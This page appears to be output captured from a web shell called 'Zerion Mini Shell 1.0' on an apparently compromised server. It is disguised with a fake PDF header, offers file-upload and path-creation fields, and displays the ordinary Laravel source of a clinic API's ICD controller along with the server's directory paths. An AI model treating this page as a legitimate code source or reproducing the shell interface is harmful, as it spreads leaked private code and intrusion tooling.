%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/IcdController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Icd\CreateIcdRequest;
use App\Models\Icd;
use App\Models\IcdQuestion;
use App\Transformers\IcdQuestionTransformer;
use App\Transformers\IcdTransformer;
use Illuminate\Http\Request;

class IcdController extends ApiController
{
    /**
     * @param Request $request
     * @return \Spatie\Fractal\Fractal
     */
    public function index(Request $request)
    {
        $result = $this->filterIcds($request)
                       ->orderByDesc('created_at')
                       ->paginate($request->get('perPage'));
        return $this->withPaginated($result, new IcdTransformer());
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function show($id)
    {
        $result = Icd::query()
                     ->findOrFail($id);
        return $this->item($result, new IcdTransformer());
    }

    /**
     * @param Request $request
     * @return \Illuminate\Database\Eloquent\Builder
     */
    private function filterIcds(Request $request)
    {
        $result = Icd::query();
        if ($version = $request->get('version')) {
            $result = $result->where('version', 'like', "$version%");
        }
        return $result;
    }

    /**
     * @param CreateIcdRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function store(CreateIcdRequest $request)
    {
        $icd = Icd::query()
                  ->create([
                      'version' => $request->get('version'),
                      'status'  => Icd::DRAFT,
                  ]);
        return $this->item($icd, new IcdTransformer());
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function publish($id)
    {
        $icd = Icd::query()
                  ->where('id', $id)
                  ->firstOrFail();
        $published = Icd::query()
                        ->where('status', Icd::PUBLISHED)
                        ->first();
        if ($published) {
            $published->expire();
        }
        $icd->publish();
        return $this->item($icd, new IcdTransformer());
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function getAllQuestions($id)
    {
        $questions = IcdQuestion::query()
                                ->where('icd_id', $id)
                                ->get();
        return $this->collection($questions, new IcdQuestionTransformer());
    }
}

Zerion Mini Shell 1.0